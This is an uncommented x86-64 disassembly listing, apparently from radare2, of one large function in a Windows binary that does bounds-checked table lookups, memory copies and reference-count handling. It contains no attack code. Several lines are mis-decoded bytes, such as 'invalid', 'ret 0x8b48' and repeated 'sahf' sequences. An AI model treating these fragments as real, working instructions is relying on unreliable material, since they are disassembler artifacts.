sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
mov r8, qword [rsp + 0x40]
jae 0x1400520e0
jmp 0x14005460e
mov rsi, rdx
jmp 0x14005457f
mov rax, qword [rsp + 0x330]
lea rdx, [rax + 0x18]
lea rcx, [r8 + 0x120]
mov qword [rsp + 0x850], rcx
mov qword [rsp + 0x348], rdx
mov r8, qword [rsp + 0x70]
mov r9, rdi
call fcn.1400c1dd0
mov rcx, qword [rsp + 0x40]
mov eax, dword [rdi + 0x180]
mov qword [rsp + 0xc48], rax
lea r15, [rcx + 0x130]
lea rax, [rcx + 0x158]
mov qword [rsp + 0x1100], rax
lea rax, [rcx + 0x134]
mov qword [rsp + 0x1a0], rax
lea rax, [rcx + 0x138]
mov qword [rsp + 0x188], rax
lea rax, [rcx + 0x13c]
mov qword [rsp + 0xe0], rax
lea rax, [rcx + 0x140]
mov qword [rsp + 0x180], rax
mov esi, dword [rsp + 0xf0]
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x350], r15
mov qword [rsp + 0x100], r14
mov qword [rsp + 0x50], r12
jmp 0x1400521f2
mov rcx, qword [rsp + 0x850]
mov rdx, qword [rsp + 0x348]
mov r8, qword [rsp + 0x70]
mov r9, rdi
call fcn.1400c1dd0
mov qword [rsp + 0x1b8], rbx
mov eax, dword [rsp + 0x128]
mov dword [rsp + 0xec], eax
movzx eax, byte [rsp + 0x158]
mov byte [rsp + 0x4d], al
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x4c], al
movdqa xmm10, xmm13
movdqa xmm11, xmm12
mov rcx, qword [rsp + 0x40]
mov dword [rsp + 0xf0], esi
mov rax, qword [rcx + 0x28]
cmp rax, qword [rcx + 0x30]
lea rdi, [rsp + 0x570]
jbe 0x1400523c1
mov rcx, rdi
mov rdx, qword [rsp + 0x1100]
mov r8, qword [rsp + 0x70]
call fcn.1400143b0
cmp qword [rsp + 0x570], 0
je 0x1400523c1
add byte [rax], al
mov rdx, rdi
call fcn.140022c30
mov qword [rsp + 0xa70], rsi
mov ecx, esi
cmp qword [r14 + 0x10], rcx
jbe 0x1400554c2
mov rax, qword [r14 + 8]
imul rcx, rcx, 0x130
cmp dword [rax + rcx], 2
je 0x1400554c2
mov rbx, rsi
shr rbx, 0x20
add rax, rcx
cmp dword [rax + 0x114], ebx
jne 0x1400554c2
mov rdx, qword [rax + 0x90]
mov rcx, qword [rax + 0x98]
mov qword [rax + 0x90], 0
test rdx, rdx
je 0x1400522b3
call qword [rdx + 8]
mov qword [rsp + 0x570], r14
mov qword [rsp + 0x578], rsi
mov qword [rsp + 0xa70], rsi
mov ecx, esi
cmp qword [r14 + 0x10], rcx
jbe 0x140054d3a
mov rdx, qword [r14 + 8]
imul rax, rcx, 0x130
cmp dword [rdx + rax], 2
je 0x140054d3a
add rdx, rax
cmp dword [rdx + 0x114], ebx
jne 0x140054d3a
cmp byte [rdx + 0x121], 0
jne 0x1400523a9
mov byte [rdx + 0x121], 1
test byte [r15], 1
je 0x14005237a
mov rdx, qword [rsp + 0x1a0]
movq xmm0, qword [rdx]
mov dword [rsp + 0xa70], esi
mov dword [rsp + 0xa74], ebx
cmp qword [r14 + 0x10], rcx
jbe 0x1400554c2
mov rcx, qword [r14 + 8]
cmp dword [rcx + rax], 2
je 0x1400554c2
add rcx, rax
cmp dword [rcx + 0x114], ebx
jne 0x1400554c2
mov dword [rcx + 0xb8], 1
movq qword [rcx + 0xbc], xmm0
mov rax, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x188]
jmp 0x1400523a5
mov dword [r15], 1
mov rax, qword [rsp + 0x1a0]
mov dword [rax], esi
mov rax, qword [rsp + 0x188]
mov dword [rax], ebx
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0x180]
mov dword [rax], esi
mov dword [rcx], ebx
mov rcx, qword [rsp + 0x850]
mov rdx, rdi
call fcn.140021480
mov r14, qword [rsp + 0x100]
mov qword [rsp + 0xfd0], 2
mov qword [rsp + 0xff0], 0
mov r8d, dword [rsp + 0xf4]
mov rbx, qword [rsp + 0x330]
nop dword [rax]
cmp dword [r15], 1
jne 0x140052d12
mov rax, qword [rsp + 0x1a0]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x188]
mov r11d, dword [rax]
mov rax, qword [rsp + 0xe0]
cmp r9d, dword [rax]
jne 0x140052490
mov rax, qword [rsp + 0x180]
cmp r11d, dword [rax]
jne 0x140052490
mov dword [rsp + 0x570], r9d
mov dword [rsp + 0x574], r11d
mov r8, qword [rsp + 0x40]
mov rax, qword [r8 + 0x1d8]
cmp rax, r9
jbe 0x140054d23
mov rcx, qword [r8 + 0x1d0]
imul rdx, r9, 0x130
cmp dword [rcx + rdx], 2
je 0x140054d23
add rcx, rdx
cmp dword [rcx + 0x114], r11d
jne 0x140054d23
test byte [rcx + 0xb8], 1
jne 0x1400550ac
mov dword [r15], 0
jmp 0x140052514
mov dword [rsp + 0x570], r9d
mov dword [rsp + 0x574], r11d
mov r8, qword [rsp + 0x40]
cmp qword [r8 + 0x1d8], r9
jbe 0x140054d2d
mov rax, qword [r8 + 0x1d0]
imul rcx, r9, 0x130
cmp dword [rax + rcx], 2
je 0x140054d2d
add rax, rcx
cmp dword [rax + 0x114], r11d
jne 0x140054d2d
movq xmm0, qword [rax + 0xbc]
test byte [rax + 0xb8], 1
mov dword [rax + 0xb8], 0
je 0x1400550a0
mov dword [r8 + 0x130], 1
movq qword [r8 + 0x134], xmm0
mov rax, qword [r8 + 0x1d8]
mov dword [rsp + 0x570], r9d
mov dword [rsp + 0x574], r11d
cmp rax, r9
jbe 0x140054d2d
mov rax, qword [r8 + 0x1d0]
imul rdx, r9, 0x130
cmp dword [rax + rdx], 2
je 0x140054d2d
add rax, rdx
cmp dword [rax + 0x114], r11d
jne 0x140054d2d
mov rcx, r11
shl rcx, 0x20
or rcx, r9
mov byte [rax + 0x121], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xf88], rax
mov qword [rsp + 0xf90], rcx
mov qword [rsp + 0xe50], 2
mov qword [rsp + 0xe70], 0
mov dword [rsp + 0x570], r9d
mov dword [rsp + 0x574], r11d
mov rax, qword [r8 + 0x1d8]
cmp rax, r9
jbe 0x140054d23
mov r12, qword [r8 + 0x1d0]
mov rcx, qword [r12 + rdx]
cmp rcx, 2
je 0x140054d23
add r12, rdx
cmp dword [r12 + 0x114], r11d
jne 0x140054d23
mov r10d, dword [r12 + 0x48]
test cl, 1
je 0x1400526e0
mov dword [rsp + 0x1a8], r10d
mov qword [rsp + 0x98], rdx
mov qword [rsp + 0x398], r9
mov qword [rsp + 0x110], r11
mov rdi, qword [r12 + 8]
cmp qword [rbx + 0x28], rdi
jbe 0x140055124
mov r14, qword [r12 + 0x10]
imul r15, rdi, 0x138
mov r13, rbx
mov rbx, qword [rbx + 0x20]
mov rax, qword [r13 + 0x38]
mov qword [rsp + 0xd0], rax
mov rbp, qword [rbx + r15]
mov rax, qword [rbx + r15 + 8]
mov qword [rsp + 0x128], rax
lea rsi, [rbx + r15 + 0x10]
mov r8d, 0x128
lea rcx, [rsp + 0x1e0]
mov rdx, rsi
call fcn.140121660
mov qword [rbx + r15], 2
mov rax, qword [rsp + 0xd0]
mov qword [rbx + r15 + 8], rax
cmp rbp, 2
je 0x1400550f0
mov r8d, 0x128
lea rcx, [rsp + 0x3d0]
mov rdx, rsi
call fcn.140121660
dec qword [r13 + 0x30]
mov qword [r13 + 0x38], rdi
cmp rdi, r14
mov rbx, r13
jne 0x140052710
test bpl, 1
lea rdi, [rsp + 0x570]
mov r14, qword [rsp + 0x100]
mov r13, qword [rsp + 0x60]
mov r15, qword [rsp + 0x350]
jne 0x1400552b2
mov qword [r12], 0
jmp 0x14005274c
mov byte [rsp + 0x570], 9
mov r12, qword [rsp + 0x50]
mov dword [rsp + 0x860], r9d
mov dword [rsp + 0x864], r11d
cmp rax, r9
ja 0x1400527cd
jmp 0x140054d44
test bpl, 1
lea rdi, [rsp + 0x570]
mov r14, qword [rsp + 0x100]
mov r13, qword [rsp + 0x60]
mov r15, qword [rsp + 0x350]
je 0x1400552a6
mov qword [r12], 1
mov rax, qword [rsp + 0x128]
mov qword [r12 + 8], rax
mov rbp, qword [rsp + 0x88]
mov r8d, 0x128
mov rcx, rdi
lea rdx, [rsp + 0x3d0]
call fcn.140121660
movzx esi, byte [rsp + 0x570]
test esi, esi
mov r12, qword [rsp + 0x50]
je 0x140052920
cmp esi, 9
mov r8, qword [rsp + 0x40]
mov r11, qword [rsp + 0x110]
mov r9, qword [rsp + 0x398]
mov rdx, qword [rsp + 0x98]
jne 0x140052e0c
mov rax, qword [r8 + 0x1d8]
mov r10d, dword [rsp + 0x1a8]
mov dword [rsp + 0x860], r9d
mov dword [rsp + 0x864], r11d
cmp rax, r9
jbe 0x140054d44
mov rax, qword [r8 + 0x1d0]
cmp dword [rax + rdx], 2
je 0x140054d44
add rax, rdx
cmp dword [rax + 0x114], r11d
jne 0x140054d44
cmp byte [rax + 0x50], 5
je 0x140052d4b
cmp r10d, 0x3b9aca00
setne r8b
mov rcx, qword [rsp + 0x130]
lea rdx, [rsp + 0xf88]
call fcn.140022d30
mov r8d, dword [rsp + 0xf4]
movzx eax, byte [rsp + 0x570]
cmp eax, 9
ja 0x140052af0
mov ecx, 0x209
bt ecx, eax
jae 0x140052af0
mov rdx, qword [rsp + 0xe50]
cmp rdx, 2
je 0x1400523f0
mov rcx, qword [rsp + 0xe58]
mov rax, qword [rsp + 0xe60]
test dl, 1
je 0x140052878
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0xe68]
call qword [rax + 0x68]
mov rsi, qword [rsp + 0xe50]
cmp rsi, 2
mov r8d, dword [rsp + 0xf4]
je 0x1400523f0
mov rcx, qword [rsp + 0xe58]
mov rax, qword [rsp + 0xe60]
test sil, 1
je 0x1400528c5
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0xe68]
call qword [rax + 0x80]
test rsi, rsi
mov r8d, dword [rsp + 0xf4]
je 0x1400523f0
mov rax, qword [rsp + 0xe58]
lock dec qword [rax]
jne 0x1400523f0
mov rcx, qword [rsp + 0xe58]
mov rdx, qword [rsp + 0xe60]
call case.0x14009a20c.177
mov r8d, dword [rsp + 0xf4]
jmp 0x1400523f0
mov r13, qword [rsp + 0x578]
movdqu xmm13, xmmword [rsp + 0x580]
movdqu xmm12, xmmword [rsp + 0x590]
mov r9d, dword [rsp + 0x5a0]
movzx edx, byte [rsp + 0x5a4]
movzx r14d, byte [rsp + 0x5a5]
movzx r10d, byte [rsp + 0x5a6]
movzx r12d, byte [rsp + 0x5a7]
mov rcx, qword [rsp + 0x398]
mov dword [rsp + 0x860], ecx
mov r11, qword [rsp + 0x110]
mov dword [rsp + 0x864], r11d
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x1d8], rcx
mov r8d, dword [rsp + 0xf4]
mov rcx, qword [rsp + 0x98]
jbe 0x140054d44
mov rax, qword [rsp + 0x40]
mov rsi, qword [rax + 0x1d0]
cmp dword [rsi + rcx], 2
je 0x140054d44
add rsi, rcx
cmp dword [rsi + 0x114], r11d
sahf
adc al, 1
add byte [rax], al
sahf
adc al, 1
add byte [rax], al
jne 0x140054d44
mov eax, dword [rsi + 0x84]
movq rbx, xmm12
mov qword [rsp + 0xd0], rbx
test r13, r13
je 0x140052a0c
cmp r13, 1
jne 0x140052b1c
pshufd xmm0, xmm13, 0xee
movq rcx, xmm0
sub rcx, qword [rsp + 0xd0]
mov ebx, 0
cmovae rbx, rcx
test rbx, rbx
je 0x140052b1e
test eax, eax
jne 0x140052b1e
mov byte [rsp + 0xd0], r14b
mov rbx, qword [rsp + 0x330]
mov rax, qword [rbx + 0x28]
mov r14, qword [rbx + 0x38]
inc qword [rbx + 0x30]
cmp rax, r14
jne 0x140052c0d
mov rax, qword [rsp + 0x348]
cmp qword [rax], r14
jne 0x140052a87
mov rcx, qword [rsp + 0x348]
mov ebp, edx
mov edi, r9d
mov byte [rsp + 0x560], r10b
call fcn.140098620
movzx r10d, byte [rsp + 0x560]
mov r9d, edi
mov edx, ebp
mov rbp, qword [rsp + 0x88]
mov r8d, dword [rsp + 0xf4]
mov rax, qword [rbx + 0x20]
imul rcx, r14, 0x138
mov qword [rax + rcx], 0
mov byte [rax + rcx + 0x10], 0
mov qword [rax + rcx + 0x18], r13
movdqu xmmword [rax + rcx + 0x20], xmm13
movdqu xmmword [rax + rcx + 0x30], xmm12
mov dword [rax + rcx + 0x40], r9d
mov byte [rax + rcx + 0x44], dl
movzx edx, byte [rsp + 0xd0]
mov byte [rax + rcx + 0x45], dl
mov byte [rax + rcx + 0x46], r10b
mov byte [rax + rcx + 0x47], r12b
lea rax, [r14 + 1]
mov qword [rbx + 0x28], rax
mov qword [rbx + 0x38], rax
jmp 0x140052ca2
cmp eax, 6
je 0x140052bdd
cmp eax, 1
jne 0x14005283f
lea rcx, [rsp + 0x578]
call fcn.14006f310
mov r8d, dword [rsp + 0xf4]
jmp 0x14005283f
xor ebx, ebx
mov rcx, qword [rsp + 0xc48]
cmp rbx, rcx
cmovae rbx, rcx
test eax, eax
mov ecx, 0
cmovg ecx, eax
cmp rbx, rcx
cmovae rbx, rcx
test rbx, rbx
je 0x14005300b
cmp dword [rsi + 0x80], ebx
jge 0x14005300b
mov qword [rsp + 0x1e8], r13
movdqu xmmword [rsp + 0x1f0], xmm13
movdqu xmmword [rsp + 0x200], xmm12
mov dword [rsp + 0x210], r9d
mov byte [rsp + 0x214], dl
mov byte [rsp + 0x215], r14b
mov byte [rsp + 0x216], r10b
mov byte [rsp + 0x217], r12b
mov byte [rsp + 0x1e0], 0
mov rcx, rsi
mov rdx, qword [rsp + 0x348]
lea r8, [rsp + 0x1e0]
call fcn.1400a78e0
mov r8d, dword [rsp + 0xf4]
mov r14, qword [rsp + 0x100]
mov r12, qword [rsp + 0x50]
mov r13, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x330]
jmp 0x140052820
mov rax, qword [rsp + 0x578]
mov rdx, qword [rsp + 0x580]
mov r8, qword [rsp + 0x588]
lea rcx, [rsp + 0x590]
call qword [rax + 0x10]
mov r8d, dword [rsp + 0xf4]
jmp 0x14005283f
mov byte [rsp + 0x560], r10b
jbe 0x1400554e2
mov r15, rbx
mov rbx, qword [rbx + 0x20]
imul rax, r14, 0x138
cmp dword [rbx + rax], 2
jne 0x1400554e2
mov edi, r9d
mov ebp, edx
add rbx, rax
mov rax, qword [rbx + 8]
mov qword [r15 + 0x38], rax
mov rcx, rbx
call case.0x14006ba56.9
mov qword [rbx], 0
mov byte [rbx + 0x10], 0
mov qword [rbx + 0x18], r13
movdqu xmmword [rbx + 0x20], xmm13
movdqu xmmword [rbx + 0x30], xmm12
mov dword [rbx + 0x40], edi
mov byte [rbx + 0x44], bpl
movzx eax, byte [rsp + 0xd0]
mov byte [rbx + 0x45], al
movzx eax, byte [rsp + 0x560]
mov byte [rbx + 0x46], al
mov byte [rbx + 0x47], r12b
mov r8d, dword [rsp + 0xf4]
mov rbx, r15
mov r15, qword [rsp + 0x350]
mov rbp, qword [rsp + 0x88]
test byte [rsi], 1
mov r9, qword [rsp + 0x100]
mov r12, qword [rsp + 0x50]
mov r13, qword [rsp + 0x60]
lea rdi, [rsp + 0x570]
je 0x140052cf8
cmp qword [rbx + 0x28], r14
jbe 0x1400554fa
mov rax, qword [rbx + 0x20]
imul rcx, r14, 0x138
cmp dword [rax + rcx], 2
je 0x1400554fa
mov rdx, qword [rsi + 8]
add rsi, 8
add rax, rcx
mov qword [rax], 1
mov qword [rax + 8], rdx
jmp 0x140052d07
mov qword [rsi], 1
mov qword [rsi + 8], r14
add rsi, 0x10
mov qword [rsi], r14
mov r14, r9
jmp 0x140052820
mov sil, 9
mov rbx, qword [rsp + 0x1b8]
mov ecx, dword [rsp + 0xec]
movzx eax, byte [rsp + 0x4d]
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x4c]
mov byte [rsp + 0xd0], al
movdqa xmm13, xmm10
movdqa xmm12, xmm11
jmp 0x1400537d1
mov dword [rsp + 0x1a8], r10d
mov r13d, dword [rax + 0x54]
mov word [rax + 0x50], 0x100
mov dword [rax + 0x54], r11d
mov dword [rax + 0x58], r13d
mov dword [rsp + 0x860], r9d
mov dword [rsp + 0x864], r11d
mov qword [rsp + 0x398], r9
cmp qword [r8 + 0x1d8], r9
jbe 0x140054d44
mov rax, qword [r8 + 0x1d0]
cmp dword [rax + rdx], 2
je 0x140054d44
add rax, rdx
cmp dword [rax + 0x114], r11d
jne 0x140054d44
mov qword [rsp + 0x98], rdx
mov sil, 8
mov edx, r11d
mov rbx, qword [rsp + 0x1b8]
mov eax, dword [rsp + 0x360]
mov dword [rsp + 0xf0], eax
mov r10d, dword [rsp + 0x364]
mov eax, dword [rsp + 0xec]
mov dword [rsp + 0x128], eax
movzx eax, byte [rsp + 0x4d]
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x4c]
mov byte [rsp + 0xd0], al
movdqa xmm13, xmm9
movdqa xmm12, xmm8
jmp 0x1400532e8
cmp esi, 3
jne 0x14005307d
mov r13, qword [rsp + 0x578]
movdqu xmm13, xmmword [rsp + 0x580]
movdqu xmm12, xmmword [rsp + 0x590]
mov rbx, qword [rsp + 0x5a0]
mov esi, dword [rsp + 0x5a8]
mov r15d, dword [rsp + 0x5ac]
movzx eax, byte [rsp + 0x5b0]
mov byte [rsp + 0x10e], al
lea rcx, [rsp + 0x5b1]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0xd98], eax
mov dword [rsp + 0xd9b], ecx
mov eax, dword [rsp + 0x5b8]
mov dword [rsp + 0x128], eax
movzx eax, byte [rsp + 0x5bc]
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x5bd]
mov byte [rsp + 0xd0], al
movzx eax, byte [rsp + 0x5be]
mov dword [rsp + 0x390], eax
mov r8d, 0xcd
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x5bf]
call fcn.140121660
mov r8d, dword [rsp + 0x68c]
mov rax, qword [rsp + 0x690]
mov qword [rsp + 0xd68], rax
lea rcx, [rsp + 0x3d0]
mov rdx, qword [rsp + 0x70]
mov dword [rsp + 0xa54], r8d
call fcn.140013620
cmp qword [rsp + 0x3d0], 0
je 0x140055ddc
movdqu xmm0, xmmword [rsp + 0x3d0]
movdqa xmmword [rsp + 0x1180], xmm0
mov rcx, qword [rsp + 0x1180]
mov r8d, dword [rsp + 0x1188]
mov eax, dword [rsp + 0x118c]
mov dword [rsp + 0x960], r8d
mov dword [rsp + 0x964], eax
cmp qword [rcx + 0x10], r8
jbe 0x140055aac
mov r9, qword [rcx + 8]
imul rdx, r8, 0x130
cmp dword [r9 + rdx], 2
je 0x140055aac
add r9, rdx
cmp dword [r9 + 0x114], eax
jne 0x140055aac
mov byte [r9 + 0x125], 0
mov dword [rsp + 0x960], r8d
mov dword [rsp + 0x964], eax
cmp qword [rcx + 0x10], r8
jbe 0x140055a59
mov r8, qword [rcx + 8]
mov rcx, qword [r8 + rdx]
cmp rcx, 2
je 0x140055a59
add r8, rdx
cmp dword [r8 + 0x114], eax
jne 0x140055a59
test cl, 1
je 0x140053279
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx + 0x28]
cmp rax, qword [rcx + 0x30]
jbe 0x140053264
mov rcx, qword [rsp + 0x130]
mov r14d, esi
lea rsi, [rsp + 0x1180]
mov rdx, rsi
call fcn.140022c30
mov rcx, qword [rsp + 0x350]
mov rdx, rsi
mov esi, r14d
mov r14, qword [rsp + 0x100]
call fcn.140013e60
invalid
cld
invalid
jmp 0x140053279
mov byte [rsp + 0x560], r10b
mov dword [rsp + 0x128], r9d
mov byte [rsp + 0x158], dl
mov rdx, qword [rsp + 0x40]
mov r9, qword [rdx + 0x128]
mov rdx, qword [rsi + 0x88]
cmp rcx, r9
cmovae rcx, r9
mov r10, rcx
sub r10, rdx
mov r8d, 0
cmovae r8, r10
test rbx, rbx
je 0x1400530e2
mov r10d, dword [rsi + 0x80]
sub r10d, ebx
mov r12, qword [rsp + 0x50]
jl 0x140055b98
jno 0x1400530f1
mov r10, qword [rsp + 0x398]
jmp 0x14005311e
mov eax, dword [rsp + 0x574]
mov r12, qword [rsp + 0x578]
and al, 0x78
add eax, 0x894c0000
loope 0x1400530d8
shr ecx, 0x10
and al, 0x78
add eax, 0x894c0000
loope 0x1400530d8
shr ecx, 0x10
movdqu xmm13, xmmword [rsp + 0x580]
movdqu xmm12, xmmword [rsp + 0x590]
mov rbx, qword [rsp + 0x5a0]
mov r9d, dword [rsp + 0x5a8]
mov r10d, dword [rsp + 0x5ac]
mov edx, esi
dec edx
lea r8, [0x140194190]
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
mov bh, 0xec
or r13d, ecx
jmp 0x140053375
mov r12, qword [rsp + 0x50]
mov r10, qword [rsp + 0x398]
jmp 0x14005311e
mov dword [rsi + 0x80], r10d
sub eax, ebx
mov r10, qword [rsp + 0x398]
jo 0x14005311e
mov dword [rsi + 0x84], eax
test eax, eax
mov ecx, 0
cmovle eax, ecx
cmp rax, r9
cmovb r9, rax
mov rcx, r9
sub rdx, rbx
mov qword [rsi + 0x88], rdx
sub dword [rsi + 0x118], ebx
sub rcx, rdx
mov eax, 0
cmovae rax, rcx
cmp r8, rax
jae 0x140053177
mov byte [rsi + 0x123], 1
mov rax, qword [rsi + 0x90]
mov rcx, qword [rsi + 0x98]
mov qword [rsi + 0x90], 0
test rax, rax
je 0x140053177
call qword [rax + 8]
mov r10, qword [rsp + 0x398]
mov r11, qword [rsp + 0x110]
mov r8, qword [rsp + 0x40]
mov eax, dword [r8 + 0x124]
mov ecx, eax
add ecx, ebx
jo 0x140053192
mov dword [r8 + 0x124], ecx
mov eax, ecx
test rbx, rbx
mov edx, dword [rsp + 0x38c]
mov rsi, qword [rsp + 0xd0]
je 0x1400531d0
mov rcx, qword [rsp + 0x850]
mov ecx, dword [rcx]
sub ecx, ebx
jl 0x140055b98
jo 0x1400531d0
mov r9, qword [rsp + 0x850]
mov dword [r9], ecx
sub eax, ebx
jo 0x1400531d0
mov dword [r8 + 0x124], eax
test r13, r13
je 0x140053205
movzx r9d, byte [rsp + 0x560]
mov eax, r9d
mov dword [rsp + 0x390], eax
cmp r13, 1
jne 0x140053227
pshufd xmm0, xmm13, 0xee
movq rax, xmm0
sub rax, rsi
mov esi, 0
cmovae rsi, rax
movzx r9d, byte [rsp + 0x560]
mov eax, r9d
and al, 0xfe
cmp rsi, rbx
movzx ecx, r9b
movzx eax, al
cmovbe eax, ecx
mov dword [rsp + 0x390], eax
mov byte [rsp + 0xd0], r14b
and r9b, 1
mov rax, r13
shr rax, 0x20
mov qword [rsp + 0x6b8], rax
xor esi, esi
mov dword [rsp + 0xf0], r10d
mov r10d, r11d
mov byte [rsp + 0x10e], r9b
mov r14, qword [rsp + 0x100]
jmp 0x1400532e8
mov rcx, qword [rsp + 0x850]
lea rdx, [rsp + 0x1180]
adc dword [rax], eax
add al, ch
ja 0x140053251
cld
invalid
mov dword [rsp + 0xf0], esi
mov rax, r13
shr rax, 0x20
mov qword [rsp + 0x6b8], rax
mov eax, dword [rsp + 0xd98]
mov ecx, dword [rsp + 0xd9b]
mov dword [rsp + 0x743], ecx
mov dword [rsp + 0x740], eax
mov r8d, 0xcd
lea rcx, [rsp + 0xa70]
lea rdx, [rsp + 0x1e0]
call fcn.140121660
mov sil, 3
mov edx, dword [rsp + 0x38c]
mov r10d, r15d
mov r8, qword [rsp + 0x40]
mov r15, qword [rsp + 0x350]
mov r11, qword [rsp + 0x110]
movzx eax, byte [rsp + 0x570]
cmp eax, 9
ja 0x140053303
mov ecx, 0x209
bt ecx, eax
jb 0x1400535a5
mov rcx, rdi
mov r14d, edx
mov r15d, r10d
mov qword [rsp + 0x110], r11
call fcn.1400c22f0
mov r11, qword [rsp + 0x110]
mov r8, qword [rsp + 0x40]
mov r10d, r15d
mov r15, qword [rsp + 0x350]
mov edx, r14d
mov r14, qword [rsp + 0x100]
jmp 0x1400535a5
int 0x89
ret 0x8b48
mov edx, eax
mov rbx, qword [rsp + 0x1b8]
mov eax, dword [rsp + 0x360]
mov dword [rsp + 0xf0], eax
mov r10d, dword [rsp + 0x364]
mov eax, dword [rsp + 0xec]
mov dword [rsp + 0x128], eax
movzx eax, byte [rsp + 0x4d]
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x4c]
mov byte [rsp + 0xd0], al
jmp 0x1400534e6
add byte [rax], al
mov dword [rsp + 0xf0], r9d
mov rax, qword [rsp + 0x690]
mov qword [rsp + 0xd68], rax
mov eax, dword [rsp + 0x68c]
mov dword [rsp + 0xa54], eax
movzx eax, byte [rsp + 0x5be]
mov dword [rsp + 0x390], eax
movzx eax, byte [rsp + 0x5bd]
mov byte [rsp + 0xd0], al
movzx eax, byte [rsp + 0x5bc]
mov byte [rsp + 0x158], al
mov eax, dword [rsp + 0x5b8]
mov dword [rsp + 0x128], eax
movzx eax, byte [rsp + 0x5b0]
mov byte [rsp + 0x10e], al
test byte [rsi + rcx], ah
add dword [rax], eax
add byte [rcx + rcx*4 - 0x20], cl
shr rax, 0x20
mov qword [rsp + 0x6b8], rax
lea rcx, [rsp + 0x5b1]
and al, 0xb1
add eax, 0x18b0000
and al, 0xb1
add eax, 0x18b0000
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x740], eax
mov dword [rsp + 0x743], ecx
mov r8d, 0xcd
lea rcx, [rsp + 0xa70]
lea rdx, [rsp + 0x5bf]
add byte [rax], al
mov r13, r14
mov r14d, r10d
call fcn.140121660
mov r11, qword [rsp + 0x110]
mov r10d, r14d
mov r14, r13
jmp 0x140053591
mov rcx, r12
shr rcx, 0x20
mov qword [rsp + 0x6b8], rcx
mov edx, eax
mov rbx, qword [rsp + 0x1b8]
mov eax, dword [rsp + 0x360]
mov dword [rsp + 0xf0], eax
mov r10d, dword [rsp + 0x364]
mov eax, dword [rsp + 0xec]
mov dword [rsp + 0x128], eax
movzx eax, byte [rsp + 0x4d]
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x4c]
mov byte [rsp + 0xd0], al
mov r13d, r12d
movdqa xmm13, xmm9
movdqa xmm12, xmm8
mov r12, qword [rsp + 0x50]
and al, 0x50
jmp 0x1400535a0
mov dword [rsp + 0xf0], r9d
mov rcx, r12
shr rcx, 0x20
mov qword [rsp + 0x6b8], rcx
mov edx, eax
mov eax, dword [rsp + 0xec]
mov dword [rsp + 0x128], eax
movzx eax, byte [rsp + 0x4d]
mov byte [rsp + 0x158], al
movzx eax, byte [rsp + 0x4c]
mov byte [rsp + 0xd0], al
mov r13d, r12d
jmp 0x1400534f0
mov r13d, r12d
mov r12, qword [rsp + 0x50]
mov edx, dword [rsp + 0x38c]
mov r8, qword [rsp + 0x40]
mov dword [rsp + 0x38c], edx
mov rax, qword [rsp + 0x398]
mov dword [rsp + 0x860], eax
mov dword [rsp + 0x864], r11d
cmp qword [r8 + 0x1d8], rax
mov rdx, qword [rsp + 0x98]
jbe 0x1400553de
mov rax, qword [r8 + 0x1d0]
mov rcx, qword [rax + rdx]
cmp rcx, 2
je 0x1400553de
add rax, rdx
cmp dword [rax + 0x114], r11d
jne 0x1400553de
mov qword [rsp + 0xc58], r13
mov dword [rsp + 0xf4], r10d
test cl, 1
jne 0x140053618
cmp byte [rax + 0x50], 5
jne 0x140053628
mov rcx, r15
lea rdx, [rsp + 0xf88]
call fcn.140013e60
cmp dword [rsp + 0x1a8], 0x3b9aca00
setne r8b
mov rcx, qword [rsp + 0x130]
lea rdx, [rsp + 0xf88]
call fcn.140022d30
movzx eax, byte [rsp + 0x7b2]
mov byte [rsp + 0x3ce], al
movzx eax, word [rsp + 0x7b0]
mov word [rsp + 0x3cc], ax
mov eax, dword [rsp + 0x740]
mov ecx, dword [rsp + 0x743]
mov dword [rsp + 0xc10], eax
mov dword [rsp + 0xc13], ecx
mov r8d, 0xcd
lea rcx, [rsp + 0x1263]
lea rdx, [rsp + 0xa70]
call fcn.140121660
mov rdx, qword [rsp + 0xe50]
cmp rdx, 2
mov r13, qword [rsp + 0x60]
je 0x140053757
mov rcx, qword [rsp + 0xe58]
mov rax, qword [rsp + 0xe60]
test dl, 1
je 0x1400536e0
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0xe68]
call qword [rax + 0x68]
mov rdi, qword [rsp + 0xe50]
cmp rdi, 2
je 0x140053757
mov rcx, qword [rsp + 0xe58]
mov rax, qword [rsp + 0xe60]
test dil, 1
je 0x140053721
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0xe68]
call qword [rax + 0x80]
test rdi, rdi
je 0x140053757
mov rax, qword [rsp + 0xe58]
lock dec qword [rax]
jne 0x140053757
mov rcx, qword [rsp + 0xe58]
mov rdx, qword [rsp + 0xe60]
call case.0x14009a20c.177
mov rax, qword [rsp + 0x6b8]
shl rax, 0x20
mov ecx, dword [rsp + 0xc58]
or rcx, rax
mov qword [rsp + 0x1110], rcx
mov eax, dword [rsp + 0xf0]
mov dword [rsp + 0x360], eax
mov r8d, dword [rsp + 0xf4]
mov dword [rsp + 0x364], r8d
mov ecx, dword [rsp + 0x128]
mov dword [rsp + 0xc84], ecx
movzx eax, byte [rsp + 0x158]
